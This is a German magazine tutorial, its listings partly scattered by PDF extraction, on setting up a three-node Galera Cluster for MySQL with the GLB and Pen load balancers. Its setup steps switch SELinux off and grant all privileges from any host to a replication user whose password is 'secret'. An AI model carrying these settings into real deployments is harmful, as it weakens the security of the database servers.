© Andrii-Vergeles, 123RF 

Der Galera Cluster für MySQL 

Abgesichert 

Je länger die MySQL-Datenbank in Betrieb ist, umso weniger ist sie verzichtbar. Folgerichtig stellt sich früher 

oder später die Frage nach der Verfügbarkeit. Eine mögliche Antwort darauf ist der Galera Cluster für MySQL. 

Oli Sennhauser 

Gibt es das nicht schon? Wieso brauchen 

wir jetzt noch einen Cluster für MySQL, 

wo doch schon diverse Ansätze existieren, 

um die Verfügbarkeit von MySQL- 

Datenbanken zu steigern? Die Antwort 

ist: Jede der bisherigen Lösungen hatte 

auch erhebliche Nachteile. Der Galera 

Cluster aber ist nun angetreten, um es in 

etlichen Punkten besser zu machen. Wo 

genau es jeweils Optimierungspotenzial 

gibt, zeigt ein genauerer Blick auf die 

bisher angetretenen Bewerber. 

Nachteile 

MySQL Master/Slave Replikation: Hier 

entsteht ein Problem dadurch, dass durch 

das asynchrone Replizieren die Daten auf 

den Slaves immer verzögert ankommen. 

Fehlerhaftes Handling (zum Beispiel inkonsistente 

Snapshots auf dem Master 

oder falsches Setzen der Binary-Log- 

Position nach dem Einspielen) kann außerdem 

schnell zu Dateninkonsistenzen 

zwischen Master und Slave führen. Bei 

der alten, sogenannten Statement Based 

Replikation (SBR), die immer noch sehr 

häufig eingesetzt wird, besteht zudem die 

Gefahr, Inkonsistenzen durch unsichere, 

nicht-deterministische Abfragen zu erhalten. 

Das passiert etwa, wenn Sie die 

Abfragen »DELETE« und »UPDATE« mit 

»LIMIT« verwenden oder wenn Sie die 

Funktionen »LOAD_FILE()«, »UUID()«, 

»USER()«, »SYSDATE()« und andere einsetzen. 

Ein Absturz von Master oder Slave kann 

Lücken im Datenstrom bewirken oder 

aber die Binary Logs korrumpieren. 

Auch das Stoppen des Slaves bei noch 

nicht abgearbeiteten temporären Tabellen 

kann unbemerkt zu Inkonsistenzen 

führen. Schließlich besteht eine weitere 

Ursache von Inkonsistenzen darin, dass 

Daten direkt auf dem Slave absichtlich 

oder unabsichtlich manipuliert werden. 

Noch gefährlicher wird die Sache aber, 

wenn bei Master-/Master-Replikation auf 

beide Knoten geschrieben werden soll. 

In diesem Fall sind Dateninkonsistenzen 

praktisch sicher. Wer das nicht glaubt, 

braucht danach nur einmal die Daten auf 

Master und Slave zu vergleichen. 

Aktiv/Passiv-Failover-Cluster: Diese für 

Datenbanken oft genutzte Lösung hat den 

Nachteil, dass das Handling des ganzen 

Cluster recht komplex ist und besonders 

das Wiederinstandsetzen eines kaputten 

Clusters leicht zu Schwierigkeiten führen 

kann. 

Der Administrator muss sich mit dem 

Clustermanager (Pacemaker und Corosync 

oder Heartbeat) auskennen und 

sollte auch genau wissen, wie er mit 

einem Shared-Disk-System umgeht. Bei 

der Verwendung von DRBD kommt eine 

synchrone Replikation zwischen den 

Disk-Systemen der beiden Clusterknoten 

zustande. Auch diese Technik sollte 

der Admin genau verstehen. Stattdessen 

bekommen zwar viele Administratoren 

die Installation einigermaßen ordentlich 



Know-how 

hin, im Notfall fehlen ihnen aber Übung 

und Kenntnis, um richtig zu reagieren. 

Ist DRBD im Spiel, kann zudem das I/ 

O-System zum Flaschenhals werden. Ein 

Skalieren ist hier nur durch MySQL Master/Slave-Replikation 

möglich. 

MySQL Cluster (NDB-Cluster): Der 

größte Nachteil bei dieser Lösung besteht 

darin, dass diese Datenbank üblicherweise 

nicht einfach einer Applikation untergeschoben 

werden kann. Der MySQL- 

Cluster stammt aus dem Telco-Umfeld, 

wo hauptsächlich Primary Key-Abfragen 

ausgeführt werden (Key/Value Store). 

Hierfür eignet er sich sehr gut und skaliert 

auch wunderbar. Bei den üblichen 

Web-Anwendungen (Web-Shops, CMS, 

CRM und so weiter) sind aber erheblich 

komplexere Abfragen meist mit Joins die 

Regel. Und bei denen ist der MySQL- 

Cluster – bedingt durch seine Architektur 

als Netzwerk-Datenbank (NDB) – nicht 

mehr sehr performant, weil jeder Join 

Netzverbindungen nutzen muss. 

Um das auszugleichen, sind Anpassungen 

aufseiten der Applikation nötig, die 

Joins in einzelne Abfragen umschreiben. 

Möglicherweise braucht deshalb 

die ganze Applikation ein neues Design, 

weil nur so das volle Potenzial des NDB- 

Clusters auszuschöpfen ist. Zudem muss 

man lernen, mit diesem verteilten Cluster 

umzugehen, der aus drei verschiedenen 

Komponenten besteht (Daten-Knoten, 

Management-Knoten und SQL-Knoten). 

Für den Administrator bedeuten 

sie zusätzliche Komplexität. 

Was Galera kann 

Optimal wäre eine Lösung, 

die all die oben gelisteten 

Probleme nicht aufweist. Genau 

mit diesem Ziel tritt der 

Galera Cluster für MySQL an. 

Er bietet eine unkomplizierte 

Lösung für Hochverfügbarkeitsanforderungen 

und 

gleichzeitig das Skalieren von 

Lese-Anfragen. 

Wie erreicht er das? Der Galera 

Cluster ist ein synchroner Replikationscluster, 

der auf der 

InnoDB-Storage-Engine aufbaut. 

Das bedeutet, dass alle 

Tabellen als InnoDB-Tabellen 

vorliegen müssen. Geht das aus bestimmten 

Gründen nicht, lässt sich Galera nur 

bedingt verwenden. Meist erfolgt das 

Konvertieren von Tabellen nach InnoDB 

aber ohne Probleme. Das synchrone Replizieren 

hat zudem zur Folge, dass die 

Slaves nicht hinterherhinken und keine 

Transaktionen verloren gehen können. 

Galera verwendet eine echte Aktiv/ 

Aktiv-Multi-Master-Topologie. Das bedeutet, 

dass der Cluster gleichzeitig von 

allen Knoten lesen und auf alle Knoten 

schreiben kann. Sobald ein Knoten aus 

dem Cluster fällt, merken dies die anderen 

Knoten automatisch. Kommt ein 

neuer Knoten zum Cluster hinzu, wird 

er automatisch in den Cluster aufgenommen 

und synchronisiert sich. 

Im Gegensatz zur Master-/Slave-Replikation 

und darauf aufbauenden Lösungen 

kann der Galera Cluster parallel auf Zeilenebene 

replizieren. Damit erzielt er ein 

Zigfaches an Durchsatz, verglichen mit 

der MySQL-Master-/Slave-Replikation. 

Der Schreibdurchsatz skaliert in einem 

gewissen Rahmen, die Lese-Zugriffe beliebig 

mit der Anzahl der Cluster-Knoten. 

Dabei kann es im Unterschied zur MySQL- 

Replikation aber nicht vorkommen, dass 

Knoten hinterherhinken, weswegen die 

Aktualität der Daten auch nicht überprüft 

zu werden braucht. 

Bei so vielen Vorteilen fragt man sich 

natürlich: Wo ist der Pferdefuß? Und tatsächlich 

bringt der Galera Cluster auch 

App App App 

Node 1 

wsrep 

Load balancing (LB) 

Node 2 Node 3 

wsrep 

Galera replication 

Abbildung 1: Übersichtsdarstellung des Clusters mit vorgeschaltetem Loadbalancer. 

Wie in dem Diagramm sollten es immer mindestens drei Knoten sein. 

wsrep 

einige Nachteile mit sich: Da MySQL die 

benötigten Funktionen selbst nicht bereitstellt, 

muss der MySQL-Code entsprechend 

gepachet werden. Die eigentliche 

Replikation realisiert dabei ein Plug-in. 

Glücklicherweise kann der Anwender 

auf fertige Binaries zurückgreifen, die 

die Firma Codership zur Verfügung stellt. 

Als Alternative lassen sich auch die entsprechenden 

Binaries von Percona oder 

MariaDB verwenden. 

Viel Licht, auch Schatten? 

Ein weiterer Nachteil besteht darin, dass 

es bei Hot-Spots (kleine Tabellen mit sehr 

hoher Änderungsrate) zu einer erhöhten 

Anzahl von Konflikten kommt. Dies äußert 

sich darin, dass die Applikation vermehrt 

Deadlock-Meldungen erhält und 

damit umgehen muss. Ein letzter Nachteil 

besteht schließlich darin, dass bei der 

initialen Vollsynchronisation, wenn ein 

Knoten neu in den Cluster aufgenommen 

werden soll, derjenige Knoten, welcher 

die Daten liefert (der sogenannte Donor- 

Knoten) für sämtliche Zugriffe blockiert 

wird. Das ist auch einer der Hauptgründe 

dafür, den Galera Cluster immer mit mindestens 

drei Knoten aufzusetzen. 

Topologie und Funktion 

Das empfohlene Setup für Galera Cluster 

besteht aus drei Knoten (Servern). Die 

können sowohl physischer 

Natur als auch virtuell sein. 

Sie können sich sogar über 

Rechenzentren hinweg verteilen, 

jedoch darf man dann 

nicht mehr mit sehr kurzen 

Antwortzeiten rechnen. Um 

das ganze System hochverfügbar 

zu machen, wird dem 

Galera Cluster ein Loadbalancer 

vorgeschaltet. 

Die Patches der Firma Codership 

greifen in den Transaktions- 

und Replikations-Mechanismus 

von MySQL ein. 

Bei einem »COMMIT«-Befehl 

wird das Write Set (das heißt 

die Transaktion plus Metadaten) 

vom sogenannten Masterknoten 

(das ist derjenige, 

der die Transaktion erhält) 

an alle anderen Knoten (die 


Admin 


89

Know-how 


01 # 

Slaves) des Clusters übermittelt. Der 

Cluster generiert daraufhin eine globale 

Transaktions-ID. Mit der kann jeder 

Knoten (einschließlich des Masters) den 

Zertifizierungstest für das Write Set vornehmen, 

um festzustellen, ob das Write 

Set anwendbar ist oder nicht. Ist dieser 

Zertifizierungstest erfolgreich, wird das 

Write Set appliziert. Andernfalls verwirft 

der Slave das Write Set, und der Master 

führt ein Rollback durch. 

Wenn der Slave-Knoten das Write Set 

nicht applizieren kann (zum Beispiel weil 

die Platte voll ist), wird er vom Cluster- 

Verbund ausgeschlossen und muss sich 

selbst beenden, um zu gewährleisten, 

dass keine Dateninkonsistenz auftritt. 

Beim Wiedereintritt in den Cluster muss 

er sich mit den andern Knoten durch 

einen sogenannten State Snapshot Transfer 

(SST) synchronisieren, um an einen 

konsistenten Datenbestand zu gelangen. 

Der SST ist eine vollständige Übertragung 

der Daten eines sogenannten Donor- 

Listing 3: MySQL-Parameter 

02 # Galera spezifische MySQL‐Parameter 

03 # 

04 

Listing 1: MySQL läuft 

01 mysql> status; 

02 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 

03 mysql Ver 14.14 Distrib 5.5.22, for Linux (x86_64) 

using readline 5.1 

04 

05 ... 

06 Server version: 5.5.20 MySQL Community Server 

(GPL), 

07 wsrep_23.4.r3713, 

wsrep_23.4.r3713 

08 Protocol version: 10 

09 Connection: Localhost via UNIX socket 

Listing 2: Keine Replikation 

01 SHOW GLOBAL VARIABLES LIKE 'wsrep_pro%'; 

02 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐+ 

03 | Variable_name | Value | 

04 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐+ 

05 | wsrep_provider | none | 

06 | wsrep_provider_options | | 

07 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐+ 

05 binlog_format = row 

06 default_storage_engine = InnoDB 

07 innodb_autoinc_lock_mode = 2 

08 innodb_locks_unsafe_for_binlog = 1 

09 query_cache_size = 0 

10 query_cache_type = 0 

Knotens auf einen neu in den Cluster 

eintretenden Empfänger-Knoten. Während 

dieses SST ist der Donor für SQL- 

Anfragen nicht verfügbar. Dies ist mit ein 

Grund, warum sich ein Galera-Setup mit 

nur zwei Knoten nicht empfiehlt. 

Der SST kann mittels »mysqldump«, 

»rsync« oder »xtrabackup« (ab 2.0) erfolgen. 

Bei sehr großen Datenbeständen 

(Faustregel: Datenmenge > RAM) ist 

»mysqldump« aufgrund seiner langen 

Laufzeit nicht mehr die geeignete SST- 

Methode. Die beiden anderen Methoden 

eignen sich dann besser. 

Neu beim Galera Cluster 2.0 ist der sogenannte 

Incremental State Transfer (IST) 

hinzugekommen. Er ermöglicht dem 

Cluster, bei einem Neustart nur die Inkremente 

zu übertragen und zu applizieren, 

was natürlich wesentlich schneller vonstatten 

geht. Das ist insbesondere dann 

von Interesse, wenn der Galera Cluster 

in einem WAN betrieben wird und eine 

volle Übertragung der gesamten Datenmenge 

aufgrund der geringen Bandbreite 

ewig dauern würde. 

Die Installation 

Der Galera Cluster läuft sowohl auf physischen 

Maschinen als auch auf virtuellen 

Systemen einwandfrei. Das empfohlene 

Setup besteht aus drei Knoten. Dementsprechend 

kann der Admin, der den 

Cluster einmal testen möchte, auf der 

Virtualisierungslösung seiner Wahl drei 

Linux-Knoten hochfahren. Im Idealfall 

gibt es pro Knoten zwei Interfaces: Eines 

für die Inter-Knoten-Kommunikation 

und eines für Kommunikation mit den 

Applikationen. Das folgende Beispiel verwendet 

CentOS 6.2 auf dem aktuellsten 

Stand. 

Zunächst sollte der Installateur sicherstellen, 

dass er alle Knoten im Cluster sieht. 

Im folgenden Setup werden folgende IP- 

Adressen verwendet (Tabelle 1). 

Tabelle 1: Ip-Adressen 

Knoten internes 

Interface 

node1 192.168.56.101 

(eth1) 

node2 192.168.56.102 

(eth1) 

node3 192.168.56.103 

(eth1) 

externes 

Interface 

10.0.2.1 (eth0) 

10.0.2.2 (eth0) 

10.0.2.3 (eth0) 

Von Knoten »node1« wird die Netzwerkverbindung 

auf die andern beiden Knoten 

getestet: 

node1> ping 192.168.56.102 ‐I eth1 

node1> ping 192.168.56.103 ‐I eth1 

Und dasselbe anschließend in umgekehrter 

Richtung. 

MySQL/Galera-Pakete 

Um Konflikte zu vermeiden, empfiehlt 

es sich, eventuell installierte MySQL-5.1- 

Pakete vorher zu entfernen: 

rpm ‐e mysql‐libs‐5.1.61‐1.el6_2.1.x86_64 

Anschließend müssen die entsprechenden 

MySQL 5.5 Pakete [2] wieder installiert 

werden: 

rpm ‐i MySQL‐shared‐compat‐5.5.22‐2.el6.U 

x86_64.rpm 

rpm ‐i MySQL‐client‐5.5.22‐1.el6.x86_64.rpm 

Folgendes Paket ist auf CentOS 6 zusätzlich 

erforderlich: 

yum install openssl098e.x86_64 

Dann gilt es, die Galera-Binaries zu organisieren. 

Am besten geht das über die Codership 

Website [1]. Man braucht sowohl 

die gepatchten MySQL-Binaries als auch 

das Galera-Replication-Plugin: 

wget https://launchpad.net/codershipU 

‐mysql/5.5/5.5.20‐23.4/+download/U 

MySQL‐server‐5.5.20_wsrep_23.4‐1.rhel5.U 

x86_64.rpm 

wget https://launchpad.net/galera/2.x/U 

23.2.0/+download/galera‐23.2.0‐1.rhel5.U 

x86_64.rpm 

rpm ‐i MySQL‐server‐5.5.20_wsrep_23.4‐1.U 

rhel5.x86_64.rpm 

rpm ‐i galera‐23.2.0‐1.rhel5.x86_64.rpm 

Anschließend lässt sich MySQL bereits 

starten. So geht der Admin sicher, dass 

die Datenbank läuft: 

/etc/init.d/mysql start 

Starting MySQL.. SUCCESS! 

Natürlich ist der Galera Cluster jetzt noch 

nicht einsatzbereit. Zumindest läuft aber 

MySQL auf allen Knoten (Listing 1). 

Der folgende Befehl zeigt, dass die Galera-Replikation 

noch nicht bereit ist 

( Listing 2). 

Jeder Knoten, der dem Cluster beitreten 

will, muss den initialen Datenbestand 



Know-how 

des Clusters übernehmen. Dieser Vorgang 

wird als State Snapshop Transfer (SST) 

bezeichnet. Für diesen SST wird ein User 

benötigt. Dabei benutzt man ungern den 

MySQL-User »root«, also muss man sich 

einen eigenen User auf allen drei Knoten 

anlegen: 

GRANT ALL PRIVILEGES ON *.* TO 'sst'@'U 

localhost' 

IDENTIFIED BY 'secret'; 

GRANT ALL PRIVILEGES ON *.* TO 'sst'@'%' 

IDENTIFIED BY 'secret'; 

Konfiguration des Galera 

Clusters 

Der Galera Cluster wird, wie man es von 

MySQL gewohnt ist, in der Datei »/etc/ 

my.cnf« konfiguriert. Die Parameter, die 

Galera betreffen, beginnen mit »wsrep_«. 

Zusätzlich müssen auch noch einige 

MySQL-Parameter berücksichtigt werden. 

Folgende Parameter sind in der »my.cnf« 

in die Sektion »[mysqld]« einzupflegen 

(Listing 3). 

Der Galera Cluster verlangt zwingend das 

neue, in MySQL 5.1 hinzugekommene, 

Row Bases Replication Format (RBR). 

Und wie bereits weiter oben erwähnt, 

läuft Galera Cluster zurzeit ausschließlich 

mit InnoDB-Tabellen. Da der Query 

Cache lokal pro Knoten arbeitet und sich 

die Caches nicht über ihre Inhalte austauschen, 

muss er aus Daten-Konsistenz- 

Gründen ausgeschaltet werden. 

Die minimale Galera Cluster Konfiguration 

besteht aus folgenden Parametern, 

die ebenfalls in die »[mysqld]«-Sektion 

gehören: Der Parameter 

»wsrep_provider« teilt MySQL mit, wo 

es das Galera Plugin findet. 

»wsrep_cluster_name« benennt dagegen 

einen Cluster im Netzwerk eindeutig. Dieser 

Parameter dient vor allem dazu, dass 

sich ein wildfremder Knoten beim Starten 

nicht fälschlicherweise in den Cluster 

verirrt. Er muss auf allen Knoten unseres 

Clusters gleich sein. Der Parameter 

»wsrep_node_name« gibt den Knoten 

eindeutige, sprechende Namen. Dieser 

Parameter muss auf allen drei Knoten 

unterschiedlich sein. Der Parameter 

»wsrep_cluster_address« teilt dem Knoten 

mit, wo er einen seiner Kollegen vorfindet, 

um mit dessen Hilfe in den Cluster- 

Verbund aufgenommen zu werden. Beim 

Starten des ersten Knotens ist natürlich 

noch kein weiterer Knoten verfügbar, daher 

lautet der Eintrag »gcomm://«. Alle 

anderen Knoten können beim Starten auf 

diesen ersten Knoten verweisen. Wird 

jedoch der erste Knoten neu gestartet, 

würde er mit »gcomm://« versuchen, einen 

neuen Cluster zu bilden. Daher muss 

nach dem initialen Starten dieses Knotens 

»wsrep_cluster_address« auf einen 

anderen Knoten umgestellt werden. 

Es empfiehlt sich folgendes Vorgehen 

beim ersten Starten des Galera Clusters: 

node1: gcomm:// 

node2: gcomm://192.168.56.101 

node3: gcomm://192.168.56.102 

Anschließend die my.cnf von Knoten 

node1 wie folgt anpassen: 

node1: gcomm://192.168.56.103 

Listing 5: Fehlermeldungen 

01 sh: /sbin/ifconfig: Permission denied 

E 

02 120405 8:29:02 [ERROR] WSREP: Failed to read output of: '/sbin/ifconfig | grep 

03 ‐m1 ‐1 ‐E '^[a‐z]?eth[0‐9]' | tail ‐n 1 | awk '{ print $2 }' | awk ‐F : '{ print 

04 $2 }'' 

05 ... 

06 120405 8:29:02 [ERROR] WSREP: Permission denied 

07 120405 8:29:02 [ERROR] WSREP: failed to open gcomm backend connection: 13: 

08 error while trying to listen 'tcp://0.0.0.0:4567?socket.non_blocking=1', asio 

09 error 'Permission denied': 13 (Permission denied) 

10 at gcomm/src/asio_tcp.cpp:listen():750 

11 120405 8:29:02 [ERROR] WSREP: gcs/src/gcs_core.c:gcs_core_open():195: Failed to 

12 open backend connection: ‐13 (Permission denied) 

13 120405 8:29:02 [ERROR] WSREP: gcs/src/gcs.c:gcs_open():1284: Failed to open 

14 channel 'Galera‐2.0 wsrep‐23.4' at 'gcomm://': ‐13 (Permission denied) 

15 120405 8:29:02 [ERROR] WSREP: gcs connect failed: Permission denied 

16 120405 8:29:02 [ERROR] WSREP: wsrep::connect() failed: 6 

17 120405 8:29:02 [ERROR] Aborting 

18 

19 120405 8:29:02 [Note] WSREP: Service disconnected. 

20 120405 8:29:03 [Note] WSREP: Some threads may fail to exit. 

Listing 6: Erfolgreicher Start 

01 mysql> SHOW GLOBAL STATUS LIKE 'wsrep%'; 

02 

01 # 

Listing 4: Galera-Parameter 

02 # WSREP (Galera) Parameter 

03 # 

04 

05 #wsrep_provider = none 

03 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 


05 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 

06 | wsrep_local_state | 4 | 

07 | wsrep_local_state_comment | Synced (6) | 

08 | wsrep_cluster_conf_id | 1 | 

09 | wsrep_cluster_size | 1 | 

10 | wsrep_cluster_status | Primary | 

11 | wsrep_connected | ON | 

12 | wsrep_local_index | 0 | 

13 | wsrep_ready | ON | 

14 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 

06 wsrep_provider = /usr/lib64/galera/ 

libgalera_smm.so 

07 wsrep_cluster_name = "Galera‐2.0 wsrep‐23.4" 

08 wsrep_node_name = "Node 1" 

09 wsrep_node_address = 192.168.56.101 

10 wsrep_node_incoming_address = 10.0.2.1 

11 

12 #wsrep_cluster_address = "gcomm://192.168.56.103" 

13 wsrep_cluster_address = "gcomm://" 

14 

15 # 

16 # WSREP State Snapshot Transfer Parameter 

17 # 

18 

19 wsrep_sst_method = mysqldump 

20 wsrep_sst_auth = sst:secret 


Admin 


91

Know-how 


Jetzt kann jeder Knoten beliebig gestoppt 

und wieder gestartet werden. Nur, wenn 

man den Cluster neu initialisieren wollte, 

müsste man den ersten Knoten wieder 

mit »gcomm://« starten. 

Die Parametern »wsrep_sst_method« und 

»wsrep_sst_auth« teilen dem Galera Cluster 

mit, welche Methode er für den SST 

verwenden soll und welcher Benutzer mit 

welchem Password dafür infrage kommt. 

Wenn mehr als ein Interface verwendet 

wird, sollte »wsrep_sst_receive_address« 

auf dasjenige Interface verweisen, auf 

dem der SST empfangen (und gesendet) 

werden soll. Andernfalls könnte es passieren, 

dass Galera das falsche Interface 

Listing 7: Cluster läuft 

01 mysql> SHOW GLOBAL STATUS LIKE 'wsrep_cluster_%'; 

02 

03 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 


05 +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 

06 | wsrep_cluster_conf_id | 3 | 

07 | wsrep_cluster_size | 3 | 

08 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 

Listing 8: Start des Loadbalancers 

01 ./glbd ‐‐daemon ‐‐threads 6 ‐‐control 

127.0.0.1:4444 127.0.0.1:3306 192.168.56.101:3306:1 

192.168.56.102:3306:1 192.168.56.103:3306:1 

02 Incoming address: 127.0.0.1:3306 , control 

FIFO: /tmp/glbd.fifo 

03 Control address: 127.0.0.1:4444 

04 Number of threads: 6, source tracking: OFF, verbose: 

OFF, daemon: YES 

05 Destinations: 3 

06 0: 192.168.56.101:3306 , w: 1.000 

07 1: 192.168.56.102:3306 , w: 1.000 

08 2: 192.168.56.103:3306 , w: 1.000 

Listing 9: Abfrage des Loadbalancers 

01 echo getinfo | nc ‐q 1 127.0.0.1 4444 

02 Router: 

03 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 

04 Address : weight usage conns 

05 192.168.56.101:3306 : 1.000 0.667 2 

06 192.168.56.102:3306 : 1.000 0.500 1 

07 192.168.56.103:3306 : 1.000 0.500 1 

08 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 

09 Destinations: 3, total connections: 4 

10 

11 und 

12 

13 echo getstats | nc ‐q 1 127.0.0.1 4444 

14 in: 37349 out: 52598 recv: 89947 / 1989 send: 89947 

/ 1768 

15 conns: 225 / 4 poll: 1989 / 0 / 1989 elapsed: 

76.59987 

„errät“ und der SST aus diesem Grunde 

fehlschlägt. Jetzt kann es endlich losgehen: 

Nachdem alle drei Knoten gestoppt 

sind, aktiviert man »wsrep_provider« in 

allen drei »my.cnf«- Dateien und startet 

den ersten Knoten: 

/etc/init.d/mysql start 

Zur Sicherheit sollte man das MySQL 

Error-Log unter »/var/lib/mysql/node1. 

err« auf mögliche Probleme prüfen. 

Wenn Fehlermeldungen wie in Listing 5 

auftauchen, liegt das daran, dass SELinux 

eingeschaltet ist. Das sollte man besser 

ausschalten. Temporär durch: 

echo 0 >/selinux/enforce 

und permanent in der Datei /etc/selinux/ 

config: 

SELINUX=permissive 

Ist der Galera-Knoten erfolgreich gestartet, 

dann sieht man Ausgaben wie in Listing 

6. Der Knoten ist connected, ready 

und synced. Die Cluster-Größe ist zurzeit 

1 und die lokale ID (Index) 0. Jetzt kann 

man den zweiten Knoten starten. Für 

eine kurze Zeit erscheint der Knoten 1 im 

Status „Donor“: 

| wsrep_local_state_comment | Donor (+) | 

Dies bedeutet, dass er auserwählt wurde, 

im Zuge des SST dem Knoten 2 die Daten 

zu übermitteln. Nach erfolgreichem 

Start des zweiten Knoten lässt sich der 

dritte Knoten starten. Sind alle Knoten 

erfolgreich gestartet, sehen die Status- 

Informationen wie in Listing 7 aus: 

Anschließend darf nicht vergessen werden, 

auf dem ersten Knoten die Zeilen 

App App App 

LB 

Node 1 

wsrep 

LB 

Node 2 Node 3 

wsrep 


LB 

wsrep 

mit der »wsrep_cluster_address« auszutauschen: 

# wsrep_cluster_address = U 

"gcomm://192.168.56.103" 

# wsrep_cluster_address = "gcomm://" 

Sonst findet der Knoten »node1« bei 

Neustart den Cluster nicht und versucht, 

einen neuen eigenen Cluster zu bilden. 

Anschließend lassen sich alle Knoten beliebig 

starten und stoppen. 

Mit Loadbalancer 

Aus Datenbank-Backend-Sicht existiert 

jetzt zwar ein hoch verfügbarer Datenbankcluster, 

aus Applikationssicht sieht 

das Ganze aber noch anders aus. Angenommen 

die Applikation verbindet 

sich gegen den Knoten 2 und dieser 

stirbt, dann muss sich die Applikation 

automatisch wieder mit einem anderen 

Knoten des Clusters konnektieren. Dies 

bewerkstelligt man am besten mit einem 

Loadbalancer. Dafür gibt es verschiedene 

Möglichkeiten: 

n Man kann den Load-Balancing-Mechanismus 

in die Applikation direkt 

einbauen. 

n Bei Java- oder PHP-Applikationen lässt 

sich die Failover-Funktionalität des 

entsprechenden Connectors nutzen 

(Connector/J [4], mysqlnd-ms [3]). 

n Wenn man die Applikation nicht beeinflussen 

kann oder will, lässt sich 

alternativ ein Loadbalancer vorschalten. 

Das ist in Form eines Hardware- 

Loadbalancers, eines Software-Loadbalancers 

(wie zum Beispiel Pen [6], 

GLB [7], HAProxy [9], LVS [8], und 

App App App 

Node 1 

wsrep 

Load balancing (LB) 

Node 2 Node 3 

wsrep 


Abbildung 2: Grundsätzlich gibt es zwei Möglichkeiten, den Loadbalancer zu platzieren: auf dem 

Applikationsserver oder auf einem eigenen Server. 

wsrep 



Know-how 

so weiter) oder mit MySQL-Proxy [5] 

lösbar. 

Grundsätzlich gibt es zwei Möglichkeiten, 

einen Loadbalancer zu platzieren: 

Zusammen mit der Applikation (auf dem 

Applikationsserver) oder bei größeren 

Setups zentral auf einem eigenen Server 

(Abbildung 2). 

Muss man eine große Anzahl von Applikationen 

oder Servern verwalten, empfiehlt 

es sich, den zentralen Ansatz zu 

verfolgen. Handelt es sich aber nur um 

wenige Applikationen, ist der Aufwand 

für eine Installation, bei der sich Loadbalancer 

und Applikation auf derselben 

Maschine befinden, geringer und benötigt 

weniger Hardware. 

Galera Loadbalancer 

Exemplarisch soll der Galera Loadbalancer 

(GLB) vorgestellt werden. Er lässt 

sich wie folgt installieren: 

wget http://www.codership.com/filesU 

/glb/glb‐0.7.4.tar.gz 

tar xf glb‐0.7.4.tar.gz 

cd glb‐0.7.4 

./configure 

make 

make install 

Gestartet wird er so, wie in Listing 8. 

Abgefragt wird der Loadbalancer so, wie 

es Listing 9 zeigt. 

Angenommen, der Knoten 192.168.56.101 

soll für Wartungsarbeiten aus dem Load- 

Infos 

[1] Codership Website: [http:// codership. com/ 

downloads/ download‐mysqlgalera] 

[2] MySQL Download: [http:// dev. mysql. com/ 

downloads/ mysql/ # downloads] 

[3] Mysqlnd Replication and Load Balancing 

Plugin: [http:// php. net/ manual/ en/ book. 

mysqlnd‐ms. php] 

[4] MySQL Connector/J: [http:// dev. mysql. 

com/ doc/ refman/ 5. 5/ en/ connector‐j‐refer 

ence‐configuration‐properties. html] 

[5] MySQL Proxy: [http:// forge. mysql. com/ 

wiki/ MySQL_Proxy] 

[6] Pen: [http:// siag. nu/ pen/] 

[7] GLB: [http:// www. codership. com/ en/ 

downloads/ glb] 

[8] LVS: [http:// www. linuxvirtualserver. org/] 

[9] HAProxy: [http:// haproxy. 1wt. eu/] 

[10] VRRP: [http:// sourceforge. net/ projects/ 

vrrpd] 

balancer entnommen werden, dann 

wären die Schritte nötig, die Listing 10 

zeigt. 

Das Hinzufügen und Entfernen eines 

Knotens bewerkstelligen die beiden folgenden 

Befehle: 

echo 192.168.56.103:3306:‐1 | nc ‐q 1 U 

127.0.0.1 4444 

echo 192.168.56.103:3306:2 | nc ‐q 1 U 

127.0.0.1 4444 

Beim Ausprobieren des Galera Loadbalancers 

traten noch Ecken und Kanten 

zutage, die der Autor den Entwicklern 

meldete. Ihre Bereinigung soll in das 

nächste Release einfließen. 

PEN 

Aufgrund der beim GLB aufgetretenen 

Probleme sah sich der Autor auch noch 

den TCP-Loadbalancer PEN an. Seine 

Installation verläuft wie in Listing 11 gezeigt. 

Abfragen lässt sich der PEN Loadbalancer 

so, wie es Listing 12 zeigt. Pen kann 

seinen Status als HTML-Datei ablegen, 

die man mit einem Browser betrachten 

oder in seine Überwachungs-Infrastruktur 

einbinden kann. 

./penctl localhost:4444 status > U 

/tmp/pen.html 

Neue Server kann man derzeit nicht 

im laufenden Betrieb hinzufügen. Der 

Entwickler von Pen empfiehlt in einem 

solchen Fall, einige Server auf Vorrat anzulegen 

